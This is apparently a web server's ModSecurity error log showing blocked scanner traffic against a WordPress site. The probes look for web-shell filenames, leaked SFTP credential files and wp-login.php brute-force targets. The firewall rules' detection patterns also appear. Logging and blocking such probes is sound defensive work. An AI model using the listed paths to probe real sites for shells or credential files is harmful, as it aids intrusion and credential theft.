[Tue Dec 09 14:53:58.469898 2025] [:error] [pid 7382:tid 7409] [client 45.138.16.233:61135] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ALFA_DATA/alfacgiapi/perl.alfa"] [unique_id "aTfHhidEXhamGkzwq-gxwgAAAc8"], referer: www.google.com
[Tue Dec 09 14:53:58.520386 2025] [:error] [pid 7325:tid 7360] [client 45.138.16.233:61635] [client 45.138.16.233] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/db.php"] [unique_id "aTfHhgqEQlZnpyQAsW1aGwAAAYQ"], referer: www.google.com
[Tue Dec 09 14:55:37.947136 2025] [:error] [pid 59388:tid 59398] [client 103.77.106.81:56821] [client 103.77.106.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aTfH6d7acjYK4IXwCBWlpQAAAIg"]
[Tue Dec 09 14:55:38.582705 2025] [:error] [pid 7325:tid 7377] [client 103.77.106.81:62227] [client 103.77.106.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aTfH6gqEQlZnpyQAsW1byAAAAZU"]
[Tue Dec 09 17:32:34.292656 2025] [:error] [pid 30591:tid 30603] [client 121.229.185.160:40475] [client 121.229.185.160] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTfsshG-g76drVdWQUU-fAAAAEk"]
[Tue Dec 09 18:01:51.518224 2025] [:error] [pid 36456:tid 36471] [client 170.39.213.43:35764] [client 170.39.213.43] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.39.213.43, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTfzjx0pAnOyfXl_v431DQAAAI0"]
[Tue Dec 09 18:26:25.918079 2025] [:error] [pid 36456:tid 36480] [client 4.189.125.63:16322] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/por.php"] [unique_id "aTf5UR0pAnOyfXl_v40B5QAAAJY"]
[Tue Dec 09 18:26:26.761085 2025] [:error] [pid 30499:tid 30551] [client 4.189.125.63:16352] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/por.php"] [unique_id "aTf5Uk0x3OqZTOPp7cnHvQAAAVU"]
[Tue Dec 09 18:26:27.708306 2025] [:error] [pid 30498:tid 30519] [client 4.189.125.63:16272] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/por.php"] [unique_id "aTf5Ux2mcZJQ5qP_RC0QDQAAABE"]
[Tue Dec 09 18:26:28.180230 2025] [:error] [pid 36456:tid 36458] [client 4.189.125.63:16355] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/por.php"] [unique_id "aTf5VB0pAnOyfXl_v40B7AAAAIA"]
[Tue Dec 09 18:26:29.369220 2025] [:error] [pid 36456:tid 36477] [client 4.189.125.63:16349] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nux.php"] [unique_id "aTf5VR0pAnOyfXl_v40B7wAAAJM"]
[Tue Dec 09 18:26:30.305697 2025] [:error] [pid 30499:tid 30550] [client 4.189.125.63:16275] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nux.php"] [unique_id "aTf5Vk0x3OqZTOPp7cnHxQAAAVQ"]
[Tue Dec 09 18:26:30.913172 2025] [:error] [pid 30499:tid 30530] [client 4.189.125.63:16260] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nux.php"] [unique_id "aTf5Vk0x3OqZTOPp7cnHyAAAAUA"]
[Tue Dec 09 18:26:31.500306 2025] [:error] [pid 30591:tid 30607] [client 4.189.125.63:16369] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nux.php"] [unique_id "aTf5VxG-g76drVdWQUVQ6wAAAE0"]
[Tue Dec 09 18:26:32.256810 2025] [:error] [pid 30499:tid 30538] [client 4.189.125.63:16370] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IRI.php"] [unique_id "aTf5WE0x3OqZTOPp7cnHywAAAUg"]
[Tue Dec 09 18:26:34.195483 2025] [:error] [pid 30500:tid 30558] [client 4.189.125.63:16338] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IRI.php"] [unique_id "aTf5Wq2eIIK3JPWHCXWiAAAAAYE"]
[Tue Dec 09 18:26:35.826897 2025] [:error] [pid 36456:tid 36472] [client 4.189.125.63:16353] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IRI.php"] [unique_id "aTf5Wx0pAnOyfXl_v40B-gAAAI4"]
[Tue Dec 09 18:26:36.837606 2025] [:error] [pid 30500:tid 30566] [client 4.189.125.63:16261] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/IRI.php"] [unique_id "aTf5XK2eIIK3JPWHCXWiBAAAAYk"]
[Tue Dec 09 18:26:38.329720 2025] [:error] [pid 30498:tid 30507] [client 4.189.125.63:16341] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aTf5Xh2mcZJQ5qP_RC0QDwAAAAU"]
[Tue Dec 09 18:26:38.997521 2025] [:error] [pid 36456:tid 36482] [client 4.189.125.63:16271] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aTf5Xh0pAnOyfXl_v40B_QAAAJg"]
[Tue Dec 09 18:26:42.513986 2025] [:error] [pid 30591:tid 30611] [client 4.189.125.63:16357] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aTf5YhG-g76drVdWQUVQ-gAAAFE"]
[Tue Dec 09 18:26:44.961723 2025] [:error] [pid 36456:tid 36458] [client 4.189.125.63:16343] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file7.php"] [unique_id "aTf5ZB0pAnOyfXl_v40CBQAAAIA"]
[Tue Dec 09 18:26:46.220631 2025] [:error] [pid 30500:tid 30568] [client 4.189.125.63:16345] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/85ohni.php"] [unique_id "aTf5Zq2eIIK3JPWHCXWiCgAAAYs"]
[Tue Dec 09 18:26:46.977370 2025] [:error] [pid 36456:tid 36469] [client 4.189.125.63:16373] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/85ohni.php"] [unique_id "aTf5Zh0pAnOyfXl_v40CCAAAAIs"]
[Tue Dec 09 18:26:47.474059 2025] [:error] [pid 30500:tid 30560] [client 4.189.125.63:16337] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/85ohni.php"] [unique_id "aTf5Z62eIIK3JPWHCXWiDAAAAYM"]
[Tue Dec 09 18:26:48.865113 2025] [:error] [pid 30499:tid 30541] [client 4.189.125.63:16346] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/85ohni.php"] [unique_id "aTf5aE0x3OqZTOPp7cnH1QAAAUs"]
[Tue Dec 09 18:26:49.820124 2025] [:error] [pid 30499:tid 30538] [client 4.189.125.63:16323] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTf5aU0x3OqZTOPp7cnH1wAAAUg"]
[Tue Dec 09 18:26:52.056401 2025] [:error] [pid 30591:tid 30615] [client 4.189.125.63:16366] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTf5bBG-g76drVdWQUVRDAAAAFU"]
[Tue Dec 09 18:26:57.538840 2025] [:error] [pid 30499:tid 30545] [client 4.189.125.63:16342] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTf5cU0x3OqZTOPp7cnH3QAAAU8"]
[Tue Dec 09 18:26:58.594460 2025] [:error] [pid 36456:tid 36472] [client 4.189.125.63:16204] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aTf5ch0pAnOyfXl_v40CMAAAAI4"]
[Tue Dec 09 18:27:05.085244 2025] [:error] [pid 36456:tid 36480] [client 4.189.125.63:16328] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aTf5eR0pAnOyfXl_v40CSAAAAJY"]
[Tue Dec 09 18:27:07.339393 2025] [:error] [pid 30500:tid 30563] [client 4.189.125.63:16263] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aTf5e62eIIK3JPWHCXWiJAAAAYY"]
[Tue Dec 09 18:27:08.565324 2025] [:error] [pid 36456:tid 36465] [client 4.189.125.63:16372] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aTf5fB0pAnOyfXl_v40CTgAAAIc"]
[Tue Dec 09 18:27:10.313225 2025] [:error] [pid 30498:tid 30522] [client 4.189.125.63:16267] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gel4y.php"] [unique_id "aTf5fh2mcZJQ5qP_RC0QGAAAABQ"]
[Tue Dec 09 18:27:17.532159 2025] [:error] [pid 30591:tid 30605] [client 4.189.125.63:16274] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tyasd.php"] [unique_id "aTf5hRG-g76drVdWQUVRHgAAAEs"]
[Tue Dec 09 18:27:23.979538 2025] [:error] [pid 30500:tid 30568] [client 4.189.125.63:16294] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tyasd.php"] [unique_id "aTf5i62eIIK3JPWHCXWiPQAAAYs"]
[Tue Dec 09 18:27:42.158294 2025] [:error] [pid 30591:tid 30598] [client 4.189.125.63:16266] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t1.php"] [unique_id "aTf5nhG-g76drVdWQUVRQQAAAEQ"]
[Tue Dec 09 18:27:44.578242 2025] [:error] [pid 30500:tid 30581] [client 4.189.125.63:16256] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t1.php"] [unique_id "aTf5oK2eIIK3JPWHCXWiUwAAAZg"]
[Tue Dec 09 18:27:45.500202 2025] [:error] [pid 30591:tid 30615] [client 4.189.125.63:16351] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t1.php"] [unique_id "aTf5oRG-g76drVdWQUVRSQAAAFU"]
[Tue Dec 09 18:27:48.241792 2025] [:error] [pid 30498:tid 30516] [client 4.189.125.63:16365] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t1.php"] [unique_id "aTf5pB2mcZJQ5qP_RC0QLQAAAA4"]
[Tue Dec 09 18:27:51.091765 2025] [:error] [pid 30591:tid 30614] [client 4.189.125.63:16379] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aTf5pxG-g76drVdWQUVRTQAAAFQ"]
[Tue Dec 09 18:27:54.445372 2025] [:error] [pid 30498:tid 30520] [client 4.189.125.63:16362] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aTf5qh2mcZJQ5qP_RC0QOQAAABI"]
[Tue Dec 09 18:27:55.289371 2025] [:error] [pid 30500:tid 30565] [client 4.189.125.63:16269] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aTf5q62eIIK3JPWHCXWiXwAAAYg"]
[Tue Dec 09 18:27:59.249943 2025] [:error] [pid 30500:tid 30569] [client 4.189.125.63:16307] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sfcl.php"] [unique_id "aTf5r62eIIK3JPWHCXWiZAAAAYw"]
[Tue Dec 09 18:28:01.181659 2025] [:error] [pid 30500:tid 30559] [client 4.189.125.63:16292] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oysdxc.php"] [unique_id "aTf5sa2eIIK3JPWHCXWiZgAAAYI"]
[Tue Dec 09 18:28:06.693149 2025] [:error] [pid 30499:tid 30543] [client 4.189.125.63:16339] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oysdxc.php"] [unique_id "aTf5tk0x3OqZTOPp7cnIBQAAAU0"]
[Tue Dec 09 18:28:08.434480 2025] [:error] [pid 36456:tid 36466] [client 4.189.125.63:16330] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oysdxc.php"] [unique_id "aTf5uB0pAnOyfXl_v40CmAAAAIg"]
[Tue Dec 09 18:28:11.499511 2025] [:error] [pid 30498:tid 30514] [client 4.189.125.63:16301] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oysdxc.php"] [unique_id "aTf5ux2mcZJQ5qP_RC0QTAAAAAw"]
[Tue Dec 09 18:28:17.870866 2025] [:error] [pid 30499:tid 30537] [client 4.189.125.63:16262] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTf5wU0x3OqZTOPp7cnICAAAAUc"]
[Tue Dec 09 18:28:20.430662 2025] [:error] [pid 30498:tid 30511] [client 4.189.125.63:16247] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTf5xB2mcZJQ5qP_RC0QUwAAAAk"]
[Tue Dec 09 18:28:22.984600 2025] [:error] [pid 36456:tid 36479] [client 4.189.125.63:16305] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/sfcl.php"] [unique_id "aTf5xh0pAnOyfXl_v40CwAAAAJU"]
[Tue Dec 09 18:28:35.664847 2025] [:error] [pid 30591:tid 30605] [client 4.189.125.63:16195] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ycc.php"] [unique_id "aTf50xG-g76drVdWQUVRrwAAAEs"]
[Tue Dec 09 18:28:37.479420 2025] [:error] [pid 30499:tid 30547] [client 4.189.125.63:16336] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ycc.php"] [unique_id "aTf51U0x3OqZTOPp7cnIOQAAAVE"]
[Tue Dec 09 18:28:39.044190 2025] [:error] [pid 30499:tid 30532] [client 4.189.125.63:16363] [client 4.189.125.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ycc.php"] [unique_id "aTf5100x3OqZTOPp7cnIOwAAAUI"]
[Tue Dec 09 18:28:43.694250 2025] [:error] [pid 36456:tid 36480] [client 4.189.125.63:16257] [client 4.189.125.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/11.php"] [unique_id "aTf52x0pAnOyfXl_v40C3wAAAJY"]
[Tue Dec 09 18:48:07.919601 2025] [:error] [pid 30500:tid 30579] [client 52.242.231.141:27720] [client 52.242.231.141] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 52.242.231.141, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTf-Z62eIIK3JPWHCXWsYwAAAZY"]
